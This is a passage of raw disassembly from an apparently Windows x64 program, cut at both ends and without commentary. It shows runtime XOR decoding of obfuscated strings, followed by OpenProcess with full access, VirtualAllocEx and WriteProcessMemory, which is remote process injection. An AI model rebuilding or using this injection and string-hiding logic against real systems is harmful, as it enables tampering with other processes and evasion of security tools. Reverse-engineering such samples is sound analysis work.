shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r9d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
add r8d, 8
cmp edx, 0x20
jl 0x14001f720
jmp 0x14001f852
lea r9, [rbp + 0x7c0]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x14001f820
xorps xmm0, xmm0
movups xmmword [rbp + 0x660], xmm0
mov qword [rbp + 0x670], rbx
mov qword [rbp + 0x678], rbx
lea rax, [rbp + 0x7c0]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14001f874
lea rdx, [rbp + 0x7c0]
lea rcx, [rbp + 0x660]
call fcn.1400053b0
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x660]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x678]
cmp rdx, 0xf
jbe 0x14001f8e9
inc rdx
mov rcx, qword [rbp + 0x660]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f8e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
mov qword [rbp + 0x670], rbx
mov qword [rbp + 0x678], 0xf
mov byte [rbp + 0x660], 0
lea rax, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova rax, qword [rbp + 0x1330]
mov qword [rbp + 0x880], rax
mov rax, qword [rbp + 0x1340]
mov qword [rbp + 0x888], rax
movups xmm6, xmmword [rbp + 0x880]
call fcn.140050410
movaps xmmword [rbp + 0x1320], xmm6
lea r8, [rbp + 0x1320]
mov edx, eax
lea rcx, [rbp + 0x740]
call fcn.1400035e0
nop
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x1168]
call fcn.140004d00
movsd xmm0, qword [rax]
movsd qword [rsp + 0x58], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp + 0x8b0], ecx
lea rax, [0x140098f00]
mov qword [rbp + 0x8b8], rax
movaps xmm0, xmmword [rbp + 0x8b0]
movdqa xmmword [rbp + 0x1320], xmm0
mov eax, dword [rsp + 0x58]
test eax, eax
je 0x14001fb73
cmp eax, 1
sete sil
mov rdx, qword [rbp + 0x758]
cmp rdx, 7
jbe 0x14001f9f3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x740]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f9ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
mov qword [rbp + 0x750], rbx
mov qword [rbp + 0x758], 7
mov word [rbp + 0x740], bx
mov r8d, ebx
test sil, sil
je 0x14001fc77
movups xmm0, xmmword [0x14008c068]
movups xmmword [rbp + 0xaf0], xmm0
movups xmm1, xmmword [0x14008c078]
movups xmmword [rbp + 0xb00], xmm1
movups xmm0, xmmword [0x14008c088]
movups xmmword [rbp + 0xb10], xmm0
movsd xmm0, qword [0x14008c098]
movsd qword [rbp + 0xb20], xmm0
cmp r12d, 2
jl 0x14001fb83
mov edx, ebx
movdqa xmmword [rbp + 0x1320], xmm14
lea rcx, [rbp + 0xaf0]
mov r8d, dword [rbp + 0x1320]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
lea r14d, [r14 + 8]
cmp edx, 0x38
jl 0x14001fa80
jmp 0x14001fbc2
mov sil, 1
test ecx, ecx
jne 0x14002bc5e
jmp 0x14001f9ad
lea r9, [rbp + 0xaf0]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x14001fb90
xorps xmm0, xmm0
movups xmmword [rbp + 0x620], xmm0
mov qword [rbp + 0x630], rbx
mov qword [rbp + 0x638], rbx
lea rax, [rbp + 0xaf0]
inc r15
cmp byte [rax + r15], 0
jne 0x14001fbe1
mov r8, r15
lea rdx, [rbp + 0xaf0]
lea rcx, [rbp + 0x620]
call fcn.1400053b0
nop
mov r8d, 0xff
lea rdx, [rbp + 0x620]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x638]
cmp rdx, 0xf
jbe 0x14001fc59
inc rdx
mov rcx, qword [rbp + 0x620]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001fc54
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
mov qword [rbp + 0x630], rbx
mov qword [rbp + 0x638], 0xf
mov byte [rbp + 0x620], 0
jmp 0x14001f473
movups xmm2, xmmword [str._9rme]
movups xmmword [rbp + 0xc8], xmm2
cmp r12d, 2
jl 0x14001fe52
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xc8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcc]
xorps xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd0]
xorps xmm2, xmm1
movd dword [rbp + 0xd0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd4]
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
jmp 0x14001fe92
lea r9, [rbp + 0xc8]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x14001fe60
xorps xmm0, xmm0
movups xmmword [rbp + 0x600], xmm0
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], rbx
lea rax, [rbp + 0xc8]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14001feb4
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x600]
call fcn.1400053b0
nop
mov r8d, 0xffff
lea rdx, [rbp + 0x600]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x618]
cmp rdx, 0xf
jbe 0x14001ff29
inc rdx
mov rcx, qword [rbp + 0x600]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001ff24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
mov qword [rbp + 0x610], rbx
mov qword [rbp + 0x618], 0xf
mov byte [rbp + 0x600], 0
mov r8d, 0x104
lea rdx, [rbp + 0x1d80]
mov rcx, qword [0x14009b9e0]
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rcx, [rbp + 0x1d80]
call fcn.1400142c0
mov dword [rsp + 0x48], eax
test eax, eax
jne 0x1400202e8
call fcn.140019280
movups xmm2, xmmword [str._9dGYT_JIeRRJ]
movups xmmword [rbp + 0x1f8], xmm2
mov edx, dword [0x14008b818]
mov dword [rbp + 0x208], edx
movzx eax, word [0x14008b81c]
mov word [rbp + 0x20c], ax
mov r8d, ebx
cmp r12d, 2
jl 0x1400201e5
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm8, xmm0
movd dword [rbp + 0x1f8], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, ecx
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x1fc]
xorps xmm11, xmm1
movd dword [rbp + 0x1fc], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, ecx
paddb xmm10, xmm0
movd xmm1, dword [rbp + 0x200]
xorps xmm10, xmm1
movd dword [rbp + 0x200], xmm10
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm13, xmm0
andps xmm13, xmm12
packuswb xmm13, xmm13
packuswb xmm13, xmm13
movd xmm0, ecx
paddb xmm13, xmm0
movd xmm1, dword [rbp + 0x204]
xorps xmm13, xmm1
movd dword [rbp + 0x204], xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm15, xmm0
andps xmm15, xmm12
packuswb xmm15, xmm15
packuswb xmm15, xmm15
movd xmm0, ecx
paddb xmm15, xmm0
movd xmm1, edx
xorps xmm15, xmm1
movd dword [rbp + 0x208], xmm15
mov r8d, 0x14
mov eax, r8d
lea r9, [rbp + 0x1f8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140020200
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e0], xmm0
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], rbx
lea rax, [rbp + 0x1f8]
inc r15
cmp byte [rax + r15], 0
jne 0x140020252
mov r8, r15
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x5e0]
call fcn.1400053b0
nop
mov r8d, 0xff
lea rdx, [rbp + 0x5e0]
mov rcx, rdi
call fcn.1400054b0
nop
mov rdx, qword [rbp + 0x5f8]
cmp rdx, 0xf
jbe 0x1400202ca
inc rdx
mov rcx, qword [rbp + 0x5e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400202c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
mov qword [rbp + 0x5f0], rbx
mov qword [rbp + 0x5f8], 0xf
mov byte [rbp + 0x5e0], 0
jmp 0x14001f473
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140022854
mov esi, dword [rbp + 0x1340]
lea r8, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova r8, qword [rbp + 0x1330]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
mov eax, 2
mul rdi
cmovb rax, r15
mov rcx, rax
call fcn.140052d4c
mov r13, rax
lea r8, [rbp + 0x1330]
cmp qword [rbp + 0x1348], 0xf
cmova r8, qword [rbp + 0x1330]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
movups xmmword [rbp + 0x1410], xmm0
mov qword [rbp + 0x1420], rbx
mov qword [rbp + 0x1428], rbx
mov r8, r15
inc r8
cmp word [r13 + r8*2], 0
jne 0x1400203a2
mov rdx, r13
lea rcx, [rbp + 0x1410]
call fcn.14004a2d0
mov rcx, r13
call fcn.1400529f0
nop
mov r8, qword [rbp + 0x1420]
lea r8, [r8*2 + 2]
mov dword [rsp + 0x20], r14d
xor edx, edx
mov r9d, 0x3000
mov rsi, qword [rsp + 0x40]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x1400207c8
movsd xmm0, qword [str.dZFACVTxVWSG_]
movsd qword [rbp + 0x138], xmm0
mov ecx, dword [0x14008b828]
mov dword [rbp + 0x140], ecx
movzx eax, word [0x14008b82c]
mov word [rbp + 0x144], ax
movzx eax, byte [0x14008b82e]
mov byte [rbp + 0x146], al
mov esi, ebx
cmp r12d, 2
jl 0x14002059a
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd eax, xmm14
movd xmm0, eax
paddb xmm8, xmm0
movd xmm0, dword [str.dZFACVTxVWSG_]
xorps xmm8, xmm0
movd dword [rbp + 0x138], xmm8
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm11, xmm0
andps xmm11, xmm12
packuswb xmm11, xmm11
packuswb xmm11, xmm11
movd xmm0, eax
paddb xmm11, xmm0
movd xmm1, dword [rbp + 0x13c]
xorps xmm11, xmm1
movd dword [rbp + 0x13c], xmm11
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm10, xmm0
andps xmm10, xmm12
packuswb xmm10, xmm10
packuswb xmm10, xmm10
movd xmm0, eax
paddb xmm10, xmm0
movd xmm1, ecx
xorps xmm10, xmm1
movd dword [rbp + 0x140], xmm10
mov esi, reloc.WS2_32.dll_inet_ntoa
mov eax, esi
lea r8, [rbp + 0x138]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul esi
add edx, esi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, sil
sub al, cl
add al, 0x32
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0xf
jl 0x1400205b0
lea rcx, [rbp + 0x138]
call fcn.1400113a0
nop
mov rdx, qword [rbp + 0x1428]
cmp rdx, 7
jbe 0x140020632
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1410]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002062d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf4b
call fcn.1400529f0
mov qword [rbp + 0x1420], rbx
mov qword [rbp + 0x1428], 7
mov word [rbp + 0x1410], bx
mov rdx, qword [rbp + 0x1348]
cmp rdx, 0xf
jbe 0x14002068c
inc rdx
mov rcx, qword [rbp + 0x1330]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020687
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf51
call fcn.1400529f0
mov qword [rbp + 0x1340], rbx
mov qword [rbp + 0x1348], 0xf
mov byte [rbp + 0x1330], 0
mov rdx, qword [rbp + 0x1368]
cmp rdx, 0xf
jbe 0x1400206e6
inc rdx
mov rcx, qword [rbp + 0x1350]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400206e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf57
call fcn.1400529f0
mov qword [rbp + 0x1360], rbx
mov qword [rbp + 0x1368], 0xf
mov byte [rbp + 0x1350], 0
mov rdx, qword [rbp + 0x1388]
cmp rdx, 0xf
jbe 0x140020740
inc rdx
mov rcx, qword [rbp + 0x1370]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002073b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf5d
call fcn.1400529f0
mov qword [rbp + 0x1380], rbx
mov qword [rbp + 0x1388], 0xf
mov byte [rbp + 0x1370], 0
mov rdx, qword [rbp + 0x13e8]
cmp rdx, 7
jbe 0x14002079f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x13d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002079a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002bf3f
call fcn.1400529f0
mov qword [rbp + 0x13e0], rbx
mov qword [rbp + 0x13e8], 7
mov word [rbp + 0x13d0], bx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14002b9f8
movups xmm2, xmmword [0x14008b380]
movups xmmword [rbp + 0xf0], xmm2
movsd xmm0, qword [str._16__3ECJ]
movsd qword [rbp + 0x100], xmm0
movzx eax, byte [0x14008b398]
mov byte [rbp + 0x108], al
mov r8d, ebx
cmp r12d, 2
jl 0x140020aa7
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm12
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xf0], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf4]
xorps xmm2, xmm1
movd dword [rbp + 0xf4], xmm2
movdqa xmm1, xmm10
punpckldq xmm1, xmm10
pmuldq xmm1, xmm7
movdqa xmm0, xmm10
punpckhdq xmm0, xmm10
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm10
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf8]
xorps xmm2, xmm1
movd dword [rbp + 0xf8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm7
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x100]
xorps xmm2, xmm1
movd dword [rbp + 0x100], xmm2
movdqa xmm3, xmmword [0x14008c390]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm7
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm3
psubd xmm2, xmm0
andps xmm2, xmm12
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x104]
xorps xmm2, xmm1
movd dword [rbp + 0x104], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140020ac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x890], xmm0
mov qword [rbp + 0x8a0], rbx
mov qword [rbp + 0x8a8], rbx
lea rax, [rbp + 0xf0]
inc r15
cmp byte [rax + r15], 0
jne 0x140020b12
mov r8, r15
lea rdx, [rbp + 0xf0]
lea rcx, [rbp + 0x890]
call fcn.1400053b0
nop
mov r8d, 0xff00
lea rdx, [rbp + 0x890]
mov r15, qword [rbp + 0x228]
mov rcx, r15
call fcn.1400054b0
nop
lea rcx, [rbp + 0x890]
call fcn.140043300
mov rax, qword [rbp + 0x1420]
lea rdi, [rax*2 + 2]
lea rcx, [rbp + 0x1410]
call fcn.140042f70
lea rcx, [rbp + 0x1528]
mov qword [rsp + 0x20], rcx
mov r9, rdi
mov r8, rax
mov rdx, r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140020def
movups xmm2, xmmword [str.eA_ASgJVYONsZ_.0:D]
movups xmmword [rbp + 0x210], xmm2
movzx eax, word [0x14008abe0]
mov word [rbp + 0x220], ax
movzx eax, byte [0x14008abe2]
mov byte [rbp + 0x222], al
cmp r12d, 2
jl 0x140020d9f
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm8, xmm0
andps xmm8, xmm12
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd ecx, xmm14
movd xmm0, ecx
paddb xmm8, xmm0
movd eax, xmm2
